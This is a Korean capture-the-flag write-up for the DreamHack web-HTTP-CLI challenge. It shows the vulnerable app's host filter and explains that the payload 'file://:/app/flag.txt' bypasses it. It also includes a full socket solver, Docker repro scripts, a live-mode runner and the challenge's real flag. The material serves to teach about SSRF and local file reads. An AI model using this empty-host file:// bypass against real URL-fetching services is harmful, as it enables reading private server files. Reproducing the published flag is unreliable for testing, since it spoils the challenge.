[🥈 Silver 2] 콜론 하나로 빈 호스트를 만들어 file:// 을 통과시킨다 — DreamHack web-HTTP-CLI 풀이

timeout 5 nc host3.dreamhack.games 10979

cat -n extracted/app.py

def get_host_port(url):
    return url.split('://')[1].split('/')[0].lower().split(':')
 
...
 
url = cs.recv(1024).decode().strip()
if len(url) == 0:
    break
try:
    (host, port) = get_host_port(url)
    if 'localhost' == host:
        cs.sendall('cant use localhost\n'.encode())
        continue
    if 'dreamhack.io' != host:
        if '.' in host:
            cs.sendall('cant use .\n'.encode())
            continue
    cs.sendall('result: '.encode() + urllib.request.urlopen(url).read())
except:
    cs.sendall('error\n'.encode())

file://:/app/flag.txt

#!/usr/bin/env python3
"""urllib 이 'file://:' 를 왜 로컬 파일로 받아 주는지 표준 라이브러리에서 직접 확인한다."""
import inspect
import os
import tempfile
import urllib.request
from urllib.request import _splitport, Request
 
URL = "file://:/etc/hostname"
 
req = Request(URL)
print("[1] Request(%r)" % URL)
print("    req.type     =", repr(req.type))
print("    req.host     =", repr(req.host))
print("    req.selector =", repr(req.selector))
 
print("\n[2] _splitport(req.host) ->", repr(_splitport(req.host)))
print("    호스트가 빈 문자열로 떨어진다 = urllib 이 '로컬'로 판정하는 조건")
 
print("\n[3] FileHandler.open_local_file 의 판정 부분")
src = inspect.getsource(urllib.request.FileHandler.open_local_file).splitlines()
for line in src:
    if any(k in line for k in ("_splitport", "if not host", "origurl", "addinfourl", "URLError('file")):
        print("   ", line.strip())
 
print("\n[4] 실제로 열리는가")
fd, path = tempfile.mkstemp(prefix="urllib_probe_")
os.write(fd, b"local-file-read-ok\n")
os.close(fd)
try:
    body = urllib.request.urlopen("file://:" + path).read()
    print("    urlopen('file://:%s').read() = %r" % (path, body))
finally:
    os.unlink(path)

FROM python:3.8-slim
WORKDIR /app
COPY app.py /app/app.py
COPY flag.txt /app/flag.txt
EXPOSE 8000
CMD ["python3", "/app/app.py"]

#!/usr/bin/env bash
# web-HTTP-CLI 로컬 재현 — 배포된 app.py 를 그대로 컨테이너에 올리고 더미 flag 로 익스를 검증한다.
# 문제 서버(VM)를 켜기 전에 여기서 페이로드를 확정한다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
PORT="${PORT:-18777}"
 
# local/ 은 extracted/app.py + 더미 flag.txt + Dockerfile 세 개뿐이다
cp -f extracted/app.py local/app.py
printf 'DH{dummy_local_flag_for_repro}\n' > local/flag.txt
 
docker build -q -t webhttpcli-local ./local
docker rm -f webhttpcli-local >/dev/null 2>&1 || true
docker run -d --name webhttpcli-local -p "${PORT}:8000" webhttpcli-local >/dev/null
sleep 2
docker ps --filter name=webhttpcli-local --format 'container: {{.Names}}  {{.Status}}  {{.Ports}}'
 
python3 solve.py 127.0.0.1 "$PORT" --path /app/flag.txt

#!/usr/bin/env python3
"""web-HTTP-CLI (DreamHack, Silver 2 / web) — solver
 
app.py 의 호스트 필터는 URL 의 netloc 을 콜론으로 쪼갠 결과가 정확히 2개일 때만
통과한다. 빈 호스트(":") 를 쓰면 host='' 가 되어 'localhost' 도 아니고 '.' 도 없으므로
필터를 그대로 지나간다. 스킴 검사는 아예 없으므로 file:// 를 그대로 쓸 수 있고,
urllib 의 FileHandler 는 host 가 비면 로컬 파일로 열어 준다.
 
    $ python3 solve.py host3.dreamhack.games 12345
    $ python3 solve.py 127.0.0.1 18777 --path /app/flag.txt
"""
import argparse
import socket
import sys
 
PAYLOAD = "file://:{path}"
 
 
def read_until_prompt(sock, timeout=5.0):
    """서버가 다음 '> ' 프롬프트를 낼 때까지 읽어 모은 바이트를 돌려준다."""
    sock.settimeout(timeout)
    buf = b""
    while True:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        buf += chunk
        if buf.endswith(b"> "):
            break
    return buf
 
 
def run(host, port, path):
    url = PAYLOAD.format(path=path)
    with socket.create_connection((host, port), timeout=10) as s:
        banner = read_until_prompt(s)
        sys.stdout.write("[banner]\n" + banner.decode(errors="replace") + "\n")
 
        sys.stdout.write("[send] %s\n" % url)
        s.sendall((url + "\n").encode())
        resp = read_until_prompt(s)
        text = resp.decode(errors="replace")
        sys.stdout.write("[recv] " + text + "\n")
 
        s.sendall(b"\n")  # 빈 줄을 보내면 서버가 연결을 닫는다
        return text
 
 
def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("host")
    ap.add_argument("port", type=int)
    ap.add_argument("--path", default="/app/flag.txt")
    a = ap.parse_args()
 
    text = run(a.host, a.port, a.path)
    for line in text.splitlines():
        if "DH{" in line:
            flag = line[line.index("DH{"):]
            flag = flag[: flag.index("}") + 1]
            print("\n[FLAG] " + flag)
            return 0
    print("\n[!] 플래그 문자열을 못 찾았다")
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

[send] file://:/app/flag.txt
[recv] result: DH{5e2c73de0f2b273731665914bfaff022}>
 
[FLAG] DH{5e2c73de0f2b273731665914bfaff022}

#!/usr/bin/env bash
# web-HTTP-CLI (DreamHack Silver 2 / web) — 한 방 재현.
#
#   ./reproduce.sh                          로컬 모드(기본): Docker 로 배포본을 그대로 띄워
#                                           익스 체인이 도는지 더미 flag 로 검증한다.
#   ./reproduce.sh host3.dreamhack.games P  라이브 모드: 진짜 문제 서버에서 진짜 flag 를 딴다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
DUMMY='DH{dummy_local_flag_for_repro}'
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
 
if [ "$#" -ge 2 ]; then
  MODE="live"; HOST="$1"; PORT="$2"
else
  MODE="local"; HOST="127.0.0.1"; PORT="${PORT:-18777}"
  ./local_repro.sh >/dev/null 2>&1 || true
fi
 
OUT=$(timeout 120 python3 solve.py "$HOST" "$PORT" --path /app/flag.txt 2>&1) || true
echo "$OUT" | tail -8
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
 
if [ "$MODE" = "local" ]; then
  if [ "$FLAG" = "$DUMMY" ]; then
    echo; echo "✅ PASS (로컬) 익스 체인 동작 확인 — 얻은 값은 더미 flag 다: $FLAG"
    echo "   진짜 flag 는 라이브 모드로만 나온다: ./reproduce.sh <host> <port>"
    exit 0
  fi
  echo; echo "❌ FAIL (로컬) 더미 flag 가 안 나왔다 (얻은 값: '${FLAG:-없음}')"; exit 1
fi
 
if [ -n "$FLAG" ] && { [ -z "$EXPECT" ] || [ "$FLAG" = "$EXPECT" ]; }; then
  echo; echo "✅ PASS (라이브)  $FLAG"; exit 0
fi
echo; echo "❌ FAIL (라이브) 얻은 값: '${FLAG:-없음}' / 기대: '${EXPECT:-문제.json 없음}'"; exit 1